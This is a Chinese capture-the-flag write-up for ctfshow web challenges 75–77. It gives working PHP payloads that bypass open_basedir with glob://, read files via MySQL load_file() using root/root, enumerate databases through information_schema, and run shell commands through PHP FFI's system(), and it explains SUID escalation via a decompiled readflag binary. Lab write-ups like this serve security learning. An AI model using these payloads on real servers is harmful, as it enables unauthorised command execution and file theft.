ctfshow-web入门-命令执行(web75-web77)

目录

1、web75

2、web76

3、web77


1、web75

使用 glob 协议绕过 open_basedir,读取根目录下的文件,payload:

c=?><?php $a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
}
exit(0);
?>

存在 flag36.txt 

利用 mysql load_file 读文件,提示中是从数据库 ctftraining 中查询的,就算我们不知道这个数据库名,也可以直接从默认的 information_schema 中查,该数据库包含了所有的数据库的内容。

payload:

c=try {$dbh = new PDO('mysql:host=localhost;dbname=information_schema', 'root', 'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row) {  echo($row[0])."|";}$dbh = null;
} catch (PDOException $e) {echo $e->getMessage();die();
};exit();

解释:

try {// 使用PDO(PHP Data Objects)创建一个新的数据库连接对象,指定DSN、用户名(root)和密码(root)$dbh = new PDO('mysql:host=localhost;dbname=information_schema', 'root', 'root');// 执行一个SQL查询,从指定的文件(/flag36.txt)中读取内容foreach($dbh->query('select load_file("/flag36.txt")') as $row) {  // 输出读取到的内容,并追加一个竖线(|)echo($row[0])."|";}// 将数据库连接对象设置为null,关闭连接$dbh = null;
} catch (PDOException $e) {// 如果发生PDO异常,输出错误信息echo $e->getMessage();// 终止脚本执行die();
}// 终止脚本执行
exit();

 $dbh 是数据库连接句柄(database handle),它是通过 new PDO 创建的,用于与数据库进行交互。

PDO(PHP Data Objects)是PHP中的一个扩展,它提供了一个统一的接口来访问不同的数据库。它支持预处理语句和事务,使数据库操作更安全和高效。

DSN(数据源名称,Data Source Name)是一个包含数据库连接信息的字符串。它通常包括数据库类型、主机名、数据库名称等信息。在创建PDO对象时指定,即 'mysql:host=localhost;dbname=information_schema'。这个字符串包含了数据库类型(mysql)、主机名(localhost)和数据库名称(information_schema)。

foreach 是PHP中的一个控制结构,用于遍历数组或对象。在上面payload中,foreach 用于遍历SQL查询的结果集(由 $dbh->query 返回),并处理每一行的数据。

拿到 flag:ctfshow{b59fea1d-d5d8-4d90-a9dc-e318e43733f1}

当然我们也可以查一下有哪些数据库:

c=$dsn = "mysql:host=localhost;dbname=information_schema";
$db = new PDO($dsn, 'root', 'root');
$rs = $db->query("select group_concat(SCHEMA_NAME) from SCHEMATA");
foreach($rs as $row){echo($row[0])."|"; 
}exit();

payload 解释:

// 数据源名称(DSN),指定数据库类型、主机名和数据库名称
$dsn = "mysql:host=localhost;dbname=information_schema";// 使用PDO(PHP Data Objects)创建一个新的数据库连接对象,使用指定的DSN、用户名(root)和密码(root)
$db = new PDO($dsn, 'root', 'root');// 执行一个SQL查询,从SCHEMATA表中选择并连接所有数据库名称(SCHEMA_NAME),返回一个结果集
$rs = $db->query("select group_concat(SCHEMA_NAME) from SCHEMATA");// 遍历结果集中的每一行,并输出第一个字段(即连接的数据库名称),然后追加一个竖线(|)
foreach($rs as $row){echo($row[0])."|";
}// 终止脚本执行
exit();

确实存在一个名为 ctftraining 的数据库 

我们还可以继续查 ctftraining 数据库下的所有表:

c=$dsn = "mysql:host=localhost;dbname=information_schema";
$db = new PDO($dsn, 'root', 'root');
$rs = $db->query("select group_concat(TABLE_NAME) FROM TABLES WHERE TABLE_SCHEMA = 'ctftraining'");
foreach($rs as $row){echo($row[0])."|"; 
}exit();

存在一个名为  FLAG_TABLE 的表

查该表下的列名:

c=$dsn = "mysql:host=localhost;dbname=information_schema";
$db = new PDO($dsn, 'root', 'root');
$rs = $db->query("select group_concat(COLUMN_NAME) FROM COLUMNS WHERE TABLE_SCHEMA = 'ctftraining' and TABLE_NAME = 'FLAG_TABLE'");
foreach($rs as $row){echo($row[0])."|"; 
}exit();

得到列名为 FLAG_COLUMN 

查询具体字段信息:

c=$dsn = "mysql:host=localhost;dbname=ctftraining";
$db = new PDO($dsn, 'root', 'root');
$rs = $db->query("SELECT FLAG_COLUMN FROM FLAG_TABLE");
foreach($rs as $row){echo($row[0])."|"; 
}exit();

不行

但是由于我们知道了 flag 的路径,所有直接使用 load_file() 函数进行文件读取就行了。

2、web76

读取根目录下的文件:

c=$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
}
exit(0);

存在名为 flag36d.txt 的文件

使用上一题的方法获取:

c=try {$dbh = new PDO('mysql:host=localhost;dbname=information_schema', 'root', 'root');foreach($dbh->query('select load_file("/flag36d.txt")') as $row) {  echo($row[0])."|";}$dbh = null;
} catch (PDOException $e) {echo $e->getMessage();die();
};exit();

拿到 flag:ctfshow{d95d6fc4-3d51-4ab3-92b0-49edd1421b98}

3、web77

读取根目录后发现存在 flag36x.txt 和 readflag

(readflag 这个东西在前面的题里面遇到过,它是一个可执行的二进制文件,执行它即可获取 flag,这里为什么要用这个 readflag 而不是直接读取 flag36x.txt 我们后面再说)

采用前面的方法,但是回显 could not find driver

先放上题目提示里给到 payload:

用 PHP 中的 FFI(Foreign Function Interface)来调用 C 语言的 system 函数,并执行一个 Shell 命令。

$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt';//没有回显的
$ffi->system($a);//通过$ffi去调用system函数

FFI::cdef 方法用于定义 C 函数原型,其中 int system(const char *command); 是 C 语言中 system  函数的声明。system 函数接受一个字符串参数(即Shell命令),并在系统的命令行中执行该命令;

之后执行 /readflag 程序并将其输出重定向到文件 1.txt;

通过 FFI 对象 $ffi 调用了前面定义的 system 函数,并传递了字符串变量 $a 作为参数。也就是说,实际执行的是 Shell 命令 /readflag > 1.txt,效果是在系统中运行 /readflag 程序,并将其输出结果保存到当前目录下的 1.txt 文件中。

我们先来试一下,payload:

c=$ffi = FFI::cdef("int system(const char *command);");$a='/readflag > 1.txt';$ffi->system($a);

之后访问 1.txt,即可看到 flag:ctfshow{3ff9dd00-8512-435a-b744-a1d4833f5bb4}

接下来我们说一下为什么读取 flag36x.txt 不行

我们先尝试读一下,构造 payload:

c=$ffi = FFI::cdef("int system(const char *command);");$a='cat /flag36x.txt> 2.txt';$ffi->system($a);

之后访问 2.txt,发现是空白,没有任何内容:

看一下根目录下文件的权限:

c=$ffi = FFI::cdef("int system(const char *command);");$a='ls -l / > 3.txt';$ffi->system($a);

访问 3.txt 查看执行结果:

先看 flag36x.txt:-r--r----- 1 root root 46 Jul 1 07:19 flag36x.txt

第一个字符 - 表示这是一个普通文件。
接下来的三个字符 r-- 表示文件所有者(root)具有读取权限,但没有写入或执行权限。
后面的三个字符 r-- 表示文件所属组(root组)具有读取权限,但没有写入或执行权限。
最后的三个字符 --- 表示其他用户没有任何权限(既没有读取、写入、也没有执行权限)。

而我们当前是一个什么用户呢:

c=$ffi = FFI::cdef("int system(const char *command);");$a='id > 3.txt';$ffi->system($a);

用户 www-data 并不属于文件 flag36x.txt 的所有者(root 用户),也不属于文件所属组(root 组)。因此,根据文件的权限设置,www-data 用户无法读取 flag36x.txt 文件的内容。

而对于 readflag:-r-sr-xr-x 1 root root 8392 Sep 16 2020 readflag

第一个字符 - 表示这是一个普通文件。
接下来的三个字符 r-s 表示文件所有者(root)具有读取和执行权限,并且设置了SUID权限位。
后面的三个字符 r-x 表示文件所属组(root组)具有读取和执行权限,但没有写入权限。
再后面的三个字符 r-x 表示其他用户具有读取和执行权限,但没有写入权限。

我们读取一下 /readflag 的内容:

c=$ffi = FFI::cdef("int system(const char *command);");$a='cat /readflag > 4.txt';$ffi->system($a);

访问 4.txt 下载:

"ELF" 开头的文件通常是可执行的二进制文件

使用 ida64 打开反编译分析一下:

伪代码分析:

int __fastcall main(int argc, const char **argv, const char **envp)
{setuid(0);                      // 提升权限为root用户puts("ctfshow flag getter");    // 输出一条信息到标准输出system("cat /flag36x.txt");     // 执行命令,输出文件 /flag36x.txt 的内容return 0;                       // 返回0,表示程序正常结束
}

就是提权成 root 后读取 根目录下的 flag36x.txt,这也是为什么我们执行 readflag 后就会读取到 flag 的内容。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/39032.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

读书笔记-Java并发编程的艺术-第3章(Java内存模型)-第9节(Java内存模型综述)

3.9 Java内存模型综述 前面对Java内存模型的基础知识和内存模型的具体实现进行了说明。下面对Java内存模型的相关知识做一个总结。 3.9.1 处理器的内存模型 顺序一致性内存模型是一个理论参考模型&#xff0c;JMM和处理器内存模型在设计时通常会以顺序一致性内存模型为参照。…

C#/WPF 自制白板工具

随着电子屏幕技术的发展&#xff0c;普通的黑板已不再适用现在的教学和演示环境&#xff0c;电子白板应运而生。本篇使用WPF开发了一个电子白板工具&#xff0c;功能丰富&#xff0c;非常使用日常免费使用&#xff0c;或者进行再次开发。 示例代码如下&#xff1a; Stack<St…

拓扑排序[讲课留档]

拓扑排序 拓扑排序要解决的问题是给一个有向无环图的所有节点排序。 即在 A O E AOE AOE网中找关键路径。 前置芝士&#xff01; 有向图&#xff1a;有向图中的每一个边都是有向边&#xff0c;即其中的每一个元素都是有序二元组。在一条有向边 ( u , v ) (u,v) (u,v)中&…

ChatGPT 官方发布桌面端,向所有用户免费开放

Open AI 官方已经发布了适用于 macOS 的 ChatGPT 桌面端应用。 此前&#xff0c;该应用一直处于测试阶段&#xff0c;仅 Plus 付费订阅用户可以使用。 目前已面向所有用户开放&#xff0c;所有 Mac 用户均可免费下载使用。 我们可以访问官网下载安装包&#xff1a;https://op…

2024 年江西省研究生数学建模竞赛题目 B题投标中的竞争策略问题--完整思路、代码结果分享(仅供学习)

招投标问题是企业运营过程中必须面对的基本问题之一。现有的招投标平台有国家级的&#xff0c;也有地方性的。在招投标过程中&#xff0c;企业需要全面了解招标公告中的相关信息&#xff0c;在遵守招投标各种规范和制度的基础上&#xff0c;选择有效的竞争策略和技巧&#xff0…

基于JSP技术的校园餐厅管理系统

开头语&#xff1a; 你好呀&#xff0c;我是计算机学长猫哥&#xff01;如果您对校园餐厅管理系统感兴趣或有相关需求&#xff0c;欢迎随时联系我。我的联系方式在文末&#xff0c;期待与您交流&#xff01; 开发语言&#xff1a;Java 数据库&#xff1a;MySQL 技术&#x…

QT的编译过程

qmake -project 用于从源代码生成项目文件&#xff0c;qmake 用于从项目文件生成 Makefile&#xff0c;而 make 用于根据 Makefile 构建项目。 详细解释&#xff1a; qmake -project 这个命令用于从源代码目录生成一个初始的 Qt 项目文件&#xff08;.pro 文件&#xff09;。它…

Keil5中:出现:failed to execute ‘...\ARMCC\bin\ArmCC‘

点三个点&#xff0c;去自己的磁盘找自己的ARM\ARMCC\bin

深入解析:计算机系统总线全方位解读

在计算机组成原理中&#xff0c;总线系统是连接计算机各个部件的重要通道。本文将详细介绍系统总线的基本概念、分类、特性及性能指标、结构和控制方式。希望通过本文的讲解&#xff0c;能够帮助基础小白更好地理解计算机系统总线的工作原理。 系统总线 (System Bus) 系统总线…

selenium 简介以及 selenium 环境配置

文章目录 一、初识 selenium1.selenium 简介2.selenium 三大组件3.selenium工作过程和原理4.selenium自动化测试流程5.selenium优点 二、自动化测试1.UI自动化本质2.UI自动化的前提3.适用场景4.UI自动化的原则5.UI自动化的覆盖率 三、selenium 环境配置 一、初识 selenium 1.s…

单点登录demo

gitee.com 搜索xxl(许雪里) 的sso 操作demo 完整流程图

什么是应用安全态势管理 (ASPM):综合指南

软件开发在不断发展&#xff0c;应用程序安全也必须随之发展。 传统的应用程序安全解决方案无法跟上当今开发人员的工作方式或攻击者的工作方式。 我们需要一种新的应用程序安全方法&#xff0c;而ASPM在该方法中发挥着关键作用。 什么是 ASPM&#xff1f; 应用程序安全…

配电智能网关赋能电力系统智能化运行维护

随着智能电网和物联网技术的不断发展&#xff0c;两者之间的融合应用成为电力行业的重要趋势。配电智能网关作为连接两者的关键设备&#xff0c;在智能电网的物联网应用中发挥着重要作用。 配电智能网关能够实现对电力系统的实时监控、数据采集、远程控制等功能&#xff0c;为…

已解决org.omg.CORBA.portable.RemarshalException:在CORBA中需要重新编组的正确解决方法,亲测有效!!!

已解决org.omg.CORBA.portable.RemarshalException&#xff1a;在CORBA中需要重新编组的正确解决方法&#xff0c;亲测有效&#xff01;&#xff01;&#xff01; 目录 问题分析 出现问题的场景 服务器端代码 客户端代码 报错原因 解决思路 解决方法 1. 检查网络连接 …

力扣:LCR 024. 反转链表(Java)

目录 题目描述&#xff1a;示例 1&#xff1a;示例 2&#xff1a;代码实现&#xff1a; 题目描述&#xff1a; 给定单链表的头节点 head &#xff0c;请反转链表&#xff0c;并返回反转后的链表的头节点。 示例 1&#xff1a; 输入&#xff1a;head [1,2,3,4,5] 输出&#x…

Xinstall智能安装页面:一键唤起App,提升用户体验

在移动互联网时代&#xff0c;App已经成为我们日常生活中不可或缺的一部分。然而&#xff0c;随着App数量的不断增加&#xff0c;用户面临着越来越多的选择&#xff0c;如何快速、便捷地安装并打开App成为了用户的一大痛点。针对这一问题&#xff0c;Xinstall凭借其强大的技术实…

计组_程序的机器级代码表示

2024.06.13&#xff1a;计算机组成原理程序的机器级代码表示 第15节 程序的机器级代码表示 5.1 x86的汇编指令格式5.2 常用指令 眼熟最基础的汇编语法和助记符即可 5.1 x86的汇编指令格式 5.2 常用指令

DeepMind的新论文,长上下文的大语言模型能否取代RAG或者SQL这样的传统技术呢?

长上下文大型语言模型&#xff08;LCLLMs&#xff09;确实引起了一些关注。这类模型可能使某些任务的解决更加高效。例如理论上可以用来对整本书进行总结。有人认为&#xff0c;LCLLMs不需要像RAG这样的外部工具&#xff0c;这有助于优化并避免级联错误。但是也有许多人对此持怀…

WPF对象样式

基本样式设置 Style 设置指定对象的属性 属性&#xff1a; TargetType 引用在哪个类型上面&#xff0c;例如Button、Textblock。。 如果在控件对象里面设置Style&#xff0c;则TargetType必须指定当前控件名 只在作用域里面有效果&#xff0c;其他的相同控件没有影响&…

统一的可观察性和安全性如何增强你的业务?

作者&#xff1a;来自 Elastic Michael Calizo 利用人工智能、异常检测和增强攻击发现功能&#xff0c;在一个平台上增强组织的可观察性和安全性能力 当今数字环境中的组织越来越关注服务可用性&#xff0c;并保护其软件免受恶意篡改和攻击。传统的安全和可观察性工具通常以孤…